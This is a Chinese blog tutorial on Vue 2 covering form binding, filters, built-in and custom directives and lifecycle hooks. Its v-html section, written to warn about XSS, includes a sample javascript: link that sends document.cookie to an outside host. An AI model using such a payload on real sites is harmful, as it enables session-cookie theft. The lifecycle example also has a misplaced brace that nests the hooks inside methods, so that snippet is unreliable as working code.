Vue2(五)：收集表单数据、过滤器

最新推荐文章于 2024-05-20 17:02:17 发布
最新推荐文章于 2024-05-20 17:02:17 发布
阅读量85 收藏
点赞数
文章标签： vue.js javascript 前端
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_51000853/article/details/132815786
版权

一、收集表单数据

收集表单数据：
若：<input type="text"/>，则v-model收集的是value值，用户输入的就是value值。
若：<input type="radio"/>，则v-model收集的是value值，且要给标签配置value值。
若：<input type="checkbox"/>
1.没有配置input的value属性，那么收集的就是checked（勾选 or 未勾选，是布尔值）
2.配置input的value属性:
(1)v-model的初始值是非数组，那么收集的就是checked（勾选 or 未勾选，是布尔值）
(2)v-model的初始值是数组，那么收集的的就是value组成的数组
备注：v-model的三个修饰符：
lazy：失去焦点再收集数据
number：输入字符串转为有效的数字
trim：输入首尾空格过滤

<div id="root">
		<form @submit.prevent="demo">
			账号：<input type="text" v-model.trim="userInfo.account"> <br /><br />
			密码：<input type="password" v-model="userInfo.password"> <br /><br />
			年龄：<input type="number" v-model.number="userInfo.age"> <br /><br />
			性别：
			男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
			女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br /><br />
			爱好:
			学习<input type="checkbox" v-model="userInfo.hobby" value="study">
			打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
			锻炼<input type="checkbox" v-model="userInfo.hobby" value="eat">
			<br /><br />
			所属校区
			<select v-model="userInfo.city">
				<option value="">请选择校区</option>
				<option value="beijing">北京</option>
				<option value="shanghai">上海</option>
				<option value="guangzhou">广州</option>
				<option value="shenzhen">深圳</option>
			</select>
			<br /><br />
			其他信息：
			<textarea v-model.lazy="userInfo.other"></textarea><br /><br />
			<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.baidu.com">《用户协议》</a>
			<button>提交</button>

		</form>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false

	new Vue({
		el: '#root',
		data: {
			userInfo: {
				account: '',
				password: '',
				sex: 'female',
				hobby: [],
				city: 'beijing',
				other: '',
				agree: ''
			}
		},
		methods: {
			demo() {
				console.log(JSON.stringify(this.userInfo))
			}
		}
	})

</script>

二、过滤器

定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）。
语法：
1.注册过滤器：Vue.filter(name,callback) 或 new Vue{filters:{}}
2.使用过滤器：{{ xxx | 过滤器名}} 或 v-bind:属性 = “xxx | 过滤器名”
备注：
1.过滤器也可以接收额外参数、多个过滤器也可以串联
2.并没有改变原本的数据, 是产生新的对应的数据

<div id="root">
		<h2>显示格式化后的时间</h2>
		<!-- 计算属性实现 -->
		<h3>现在是：{{fmtTime}}</h3>
		<!-- methods实现 -->
		<h3>现在是：{{getFmtTime()}}</h3>
		<!-- 过滤器实现 -->
		<h3>现在是：{{time | timeFormater}}</h3>
		<!-- 过滤器实现(传参) -->
		<h3>现在是：{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
		<h3 :x="msg | mySlice">程序媛</h3>
		<input type="text" v-model="msg">
	</div>

	<div id="root2">
		<h2>{{msg | mySlice}}</h2>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false
	//全局过滤器
	Vue.filter('mySlice', function (value) {
		return value.slice(0, 4)
	})

	new Vue({
		el: '#root',
		data: {
			time: 1621561377603, //时间戳
			msg: '你好，程序媛'
		},
		computed: {
			fmtTime() {
				return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
			}
		},
		methods: {
			getFmtTime() {
				return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
			}
		},
		// 局部过滤器
		filters: {
			timeFormater(value, str = 'YYYY-MM-DD HH:mm:ss') {
				// console.log('@', value)
				//当前时间
				// return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
				return dayjs(value).format(str)
			},
			mySlice(value) {
				return value.slice(0, 4)
			}
		}

	})
	new Vue({
		el: '#root2',
		data: {
			msg: 'shuaiqi!'
		}
	})
</script>

三、内置指令

我们学过的指令：
v-bind : 单向绑定解析表达式, 可简写为 :xxx
v-model : 双向数据绑定
v-for : 遍历数组/对象/字符串
v-on : 绑定事件监听, 可简写为@
v-if : 条件渲染（动态控制节点是否存存在）
v-else : 条件渲染（动态控制节点是否存存在）
v-show : 条件渲染 (动态控制节点是否展示)

1.v-text指令：

  1. 作用：向其所在的节点中渲染文本内容。
  2. 与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会，带着你好，。
<div id="root">
		<div>你好，{{name}}</div>
		<div v-text="name"></div>
		<div v-text="str"></div>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	new Vue({
		el: '#root',
		data: {
			name: '程序媛',
			str: '<h3>你好啊！</h3>'// 解析不了标签
		}
	})
</script>

2.v-html指令

  1. 作用：向指定节点中渲染包含html结构的内容。
  2. 与插值语法的区别：
    (1).v-html会替换掉节点中所有的内容，{{xx}}则不会。
    (2).v-html可以识别html结构。
<div id="root">
		<div>你好，{{name}}</div>
		<div v-html="str"></div>
		<div v-html="str2"></div>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	new Vue({
		el: '#root',
		data: {
			name: '程序媛 ',
			str: '<h3>你好啊！</h3>',
			str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
		}
	})
</script>
  1. 严重注意：v-html有安全性问题！！！！
    (1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
    (2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！
cookie

在这里插入图片描述
不同浏览器cooki，不能互通。

3.v-cloak指令（没有值）

  1. 本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
  2. 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
	// css样式，先隐藏
	[v-cloak] {
			display: none;
		}

	<h2 v-cloak>{{name}}</h2>

4.v-once指令：

（1）v-once所在节点在初次动态渲染后，就视为静态内容了，也就是只读一次。
（2）以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

	<h2 v-once>初始化的n值是:{{n}}</h2>

5.v-pre指令：

（1）跳过其所在节点的编译过程。
（2）可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译，不会解析。

	<h2 v-pre>Vue其实很简单</h2>

四、自定义指令

自己写DOM

1.定义语法：

(1). 局部指令：

	new Vue({															new Vue({
	directives:{指令名:配置对象}   或   		directives{指令名:回调函数}
	}) 																		})

(2). 全局指令：

	Vue.directive(指令名,配置对象) 或   Vue.directive(指令名,回调函数)

备注：
1.指令定义时不加v-，但使用时要加v-；
2.指令名如果是多个单词，要使用big-number命名方式，不要用bigNumber

'big-number'(){
               console.log('')
            }

2.函数式

函数中有两个参数，第一个参数是指令所在的标签，第二个参数是一个存着指令值的对象，通过对象名.value就能获取当前绑定的值

big函数何时调用？
  1. 指令与元素成功绑定时(一上来，没放入页面之前)
  2. 指令所在的模板被重新解析时
    需求1：定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。
<!-- 准备好一个容器-->
	<div id="root">
		<h2>{{name}}</h2>
		<h2>当前的n值是：<span v-text="n"></span> </h2>
		<h2>放大10倍后的n值是：<span v-big="n"></span> </h2>
		<button @click="n++">点我n+1</button>
	</div>

<script type="text/javascript">
	Vue.config.productionTip = false
	
	new Vue({
		el: '#root',
		data: {
			name: '程序媛',
			n: 1
		},
		directives: {
			// big函数何时会被调用？1.指令与元素成功绑定时。2.指令所在的模板被重新解析时。
			big(element, binding) {
				element.innerText = binding.value * 10
			}
		}
	})

</script>

3.对象式

配置对象中常用的3个回调：
(1).bind：指令与元素成功绑定时调用。
(2).inserted：指令所在元素被插入页面时调用。
(3).update：指令所在模板结构被重新解析时调用。

需求2：定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<h2>{{name}}</h2>
		<h2>当前的n值是：<span v-text="n"></span> </h2>
		<h2>放大10倍后的n值是：<span v-big="n"></span> </h2>
		<button @click="n++">点我n+1</button>
		</hr>
		<input type="text" v-fbind:value="n">
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false
	//定义全局指令
		/* Vue.directive('fbind',{
			//指令与元素成功绑定时（一上来）
			bind(element,binding){
				element.value = binding.value
			},
			//指令所在元素被插入页面时
			inserted(element,binding){
				element.focus()
			},
			//指令所在的模板被重新解析时
			update(element,binding){
				element.value = binding.value
			}
		}) */
	new Vue({
		el: '#root',
		data: {
			name: '程序媛',
			n: 1
		},
		directives: {
			// big函数何时会被调用？1.指令与元素成功绑定时。
			big(element, binding) {
				element.innerText = binding.value * 10
			},
			fbind: {
				// 1.指令与元素成功绑定时。
				bind(element, binding) {
					element.value = binding.value
				},
				// 指令所在元素被插入页面时
				inserted(element, binding) {
					element.focus()
				},
				// 指令所在模板被重新解析时
				update(element, binding) {
					element.value = binding.value
				}

			}
		}
	})

</script>

获取焦点的时候需要使用inserted函数。上述代码三个bind、inserted、update不能写错。

五、Vue的生命周期

1.什么是生命周期

1.又名：生命周期回调函数、生命周期函数、生命周期钩子。
2.是什么：Vue在关键时刻帮我们调用的一些特殊名称的函数。
3.生命周期函数的名字不可更改，但函数的具体内容是程序员根据需求编写的。
4.生命周期函数中的this指向是vm 或 组件实例对象。

2.常用的生命周期钩子

1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

3.关于销毁Vue实例

1.销毁后借助Vue开发者工具看不到任何信息。
2.销毁后自定义事件会失效，但原生DOM事件依然有效。
3.一般不会在beforeDestroy操作数据，因为即便操作数据，也不会再触发更新流程了

生命周期中的8个钩子代码：
<body>
	<!-- 准备好一个容器-->
	<div id="root" :x="n">
		<h2>今年人数：{{n}}</h2>
		<button @click="add">点我n+1</button>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	new Vue({
		el: '#root',
		// 若加上template上面准备的容器可为空，完全替换了容器中的内容，写在容器中的内容不奏效
		// template:`
		// 	<div>
		// 		<h2>当前的n值是：{{n}}</h2>
		// 		<button @click="add">点我n+1</button>
		// 	</div>
		// `,
		data: {
			n: 1
		},
		methods: {
			add() {
				console.log('add')
				this.n++
			},
		beforeCreate() {
			console.log('beforeCreate')
		},
		created() {
			console.log('created')
		},
		beforeMount() {
			console.log('beforeMount')
		},
		mounted() {
			console.log('mounted')
		},
		beforeUpdate() {
			console.log('beforeUpdate')
		},
		updated() {
			console.log('updated')
		},
		beforeDestroy() {
			console.log('beforeDestroy')
		},
		destroyed() {
			console.log('destroyed')
		},
	})
</script>

4.图解生命周期

在这里插入图片描述

5.字体闪烁，点击停止。销毁vm

<body>
	
	<!-- 准备好一个容器-->
	<div id="root">
		<h2 :style="{opacity}">欢迎学习Vue</h2>
		<button @click="opacity = 1">透明度设置为1</button>
		<button @click="stop">点我停止变换</button>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	new Vue({
		el: '#root',
		data: {
			opacity: 1
		},
		methods: {
			stop() {
				this.$destroy()
			}
		},
		//Vue完成模板的解析并把初始的真实DOM元素放入页面后（挂载完毕）调用mounted
		mounted() {
			console.log('mounted', this)
			this.timer = setInterval(() => {
				console.log('setInterval')
				this.opacity -= 0.01
				if (this.opacity <= 0) this.opacity = 1
			}, 16)
		},
		beforeDestroy() {
			// 自杀
			clearInterval(this.timer)
			console.log('vm即将驾鹤西游了')
		},
	})

</script>
野良T_T
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
Vue收集表单数据，过滤器
嘤嘤鸭的博客
10-19 196
Vue收集表单数据，过滤器
Vue2（五）：收集表单数据、过滤器、自定义指令、Vue的生命周期
weixin_42044763的博客
08-16 1036
若：普通输入框，则v-model收集的是value值，用户输入的就是value值。 若：单选框，则v-model收集的是value值，且要给标签配置value值。若：多选框1、没有配置input的value属性，那么收集的就是checked（勾选 or 未勾选，是布尔值） 2、配置input的value属性: (1)v-model的初始值是非数组，那么收集的就是checked（勾选 or 未勾选，是布尔值） (2)v-model的初始值是数组，那么收集的的就是value组成的数组 一句话，想正确收集，那么要
初学Vue（全家桶）-第8天（vue2）：收集表单数据、过滤器
lalala_dxf的博客
05-25 131
初学Vue 1、收集表单数据 示例 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0">
Vue核心 收集表单数据 过滤器
weixin_44230693的博客
05-06 452
Vue核心 收集表单数据 过滤器
Vue2（五）：收集表单数据、过滤器、内置指令和自定义指令
m0_73560798的博客
03-13 980
定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理比如价格1999改成1,999等需求，复杂的用计算属性或方法）。语法：1、注册过滤器：Vue.filter(name,callback) 或 new Vue{filters:{}}2、使用过滤器：{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"（第二种几乎不用）备注：1、过滤器也可以接收额外参数、多个过滤器也可以串联2、并没有改变原本的数据, 是产生新的对应的数据。
vue基础：渲染&表单数据&过滤器&指令&生命周期
沉迷写代码的程序猿的博客
04-01 1767
文章目录vue基础：渲染&表单数据&过滤器&指令&生命周期一、条件渲染1、v-if2、v-show二、列表渲染1、列表过滤1.1、用watch监视属性实现列表过滤1.2、用computed计算属性实现列表过滤2、列表排序3、监测数据的原理三、收集表单数据四、过滤器五、指令1、内置指令：v-cloak2、内置指令：v-once3、内置指令：v-pre4、自定义指令六、生命周期 vue基础：渲染&表单数据&过滤器&指令&生命周期 一、条件渲染 和
8.Vue - 收集表单数据、过滤器
weixin_51351637的博客
09-04 606
过滤器：定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）语法：1.注册过滤器：Vue.filter(name,callback) 或 new Vue{ filters:{} }2.使用过滤器：{xxx | 过滤器名} 或 v-bind:属性="xxx | 过滤器名 "备注：1.过滤器也可以接受额外参数、多个过滤器也可以串联2.并没有改变原本的数据，是产生新的对应的数据。
Vue之收集表单数据与过滤器
qq_67801847的博客
08-10 131
textarea v-model.lazy="other">:失去焦点再接受数据（适用于大输入框）：输入数字和接收数字。过滤器可以用在两个地方：双花括号插值和 v-bind 表达式 (后者从 2.1.0+ 开始支持)引入了第三方库：bookcdn中的dayjs库，v-model.trim="account"：去除空格，......
vue——收集表单数据、过滤器
h_jQuery的博客
08-23 329
收集表单数据 若：，则v-model收集的是value值，用户输入的就是value值 若：，则v-model收集的是value值，且要给标签配置value值 若： ​ 1.没有配置value属性，那么收集的就是checked（勾选true’ or 未勾选false） ​ 2.配置input的value属性： ​ 2.1 v-model的初始值是非数组，那么收集的就是checked ​ 2.2 v-model的初始值是数组，那么收集的就是value值组成的数组 备注：v-model的三个修饰符： ​ la
Vue2.js 收集表单数据
red_HTML的博客
10-16 578
需求1：定义一个v-big指令和v-text功能类似，但会把绑定的数值放大10倍需求2：定义一个v-fbind 和v-bind功能类似，但可以让其绑定的input元素默认获取焦点v-fbind里面的三种触发方式bind(element, binding) {} ：绑定上就会调用一次，只触发一次inserted(element, binding) {} :进入页面就会调用一次update(element, binding) {} ：value里面的值 进行更新他就会调用一次
vue货币过滤器的实现方法
12-29
自定义事件也可以用来创建自定义的表单输入组件，使用 v-model 来进行数据双向绑定。 所以要让组件的 v-model 生效，它必须： 接受一个 value 属性 在有新的 value 时触发 input 事件 代码如下： HTML： <p>...
Vue.js -- 过滤器使用总结
10-20
本篇文章主要介绍了Vue.js -- 过滤器使用总结，小编觉得挺不错的，现在分享给大家，也给大家做个参考。一起跟随小编过来看看吧
Vue面试资源 难度：中等
11-17
11. 请简要介绍一下Vue中的过滤器（filter）。 12. 如何在Vue中实现混入（mixin）？ 13. 请简要介绍一下Vue中的异步组件。 14. 如何在Vue中实现懒加载（lazy loading）？ 15. 请简要介绍一下Vue中的路由器（router）...
vue基础语法——表单绑定语法、计算属性、侦听器、过滤器、vue生命周期
12-09
对vue基础语法一些简单的总结和案例，适合新手小白哦~
django_vue_generator:为Django Rest Framework项目生成Vue前端
03-08
为您的过滤器生成表格。 分页列表组件等 与其他通用视图一起使用，而不仅仅是视图集 错误说明 CSS 从api的相关字段中加载选择（选项调用，将需要修改的drf元数据） 更好的演示 定制表单生成器-样式，应该隐藏或...
vite+ts+mock+vue-router+pinia实现vue的路由权限
最新发布
beekim的博客
05-20 245
vite.config.ts配置。
Vue3选项式和组合式生命周期说明
weixin_44072254的博客
05-16 531
setup -beforeCreate和created的统称，只在composition里面取消这两个，可以在这里进行数据请求。onUpdated-更新，可以获取到更新后的实例，避免在此期间更改数据，因为这可能会导致无限循环的更新。updated-更新，可以获取到更新后的实例，避免在此期间更改数据，因为这可能会导致无限循环的更新。组件已被拆解，数据绑定被卸除，监听被移出，子实例也统统被销毁。组件已被拆解，数据绑定被卸除，监听被移出，子实例也统统被销毁。beforeUpdate-更新前，可以在此更改数据。
vue中computed计算属性
luna_H的博客
05-19 269
4.原理使用了Object.defineproperty(目标对象,名称,{get(),set(value)})5.watch默认监听一层，需要监听多级如对象中的值，需要添加深度监听deep:true。4.写法：第一种Vue实例中，第二种实例化vm.$watch("监听的属性",{})写法：监听的属性名(新值,旧值){}2.被Vue实例管理的函数最好都使用普通函数，不被Vue实例管理的函数最好都使用箭头函数，1.computed能做到的watch都可以，watch能做到的computed不一定能。
vue中的事件
weixin_43390711的博客
05-16 184
需要使用emit方法，emit(‘事件名’,参数)自定义事件名的规范（script中用小驼峰，模板中用短横线）1、组合api中2、setup语法糖中(非TS)3、setup语法糖中（使用TS）}>()
请写一下AccessDecisionVoter代码和前端vue的表单信息过滤代码
09-06
以下是一个简单的Vue表单信息过滤代码示例： ```vue 名字"> 邮箱"> 提交 export default { data() { return { name: '', email: '' } }, methods: { submitForm() { // 在提交表单之前对...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值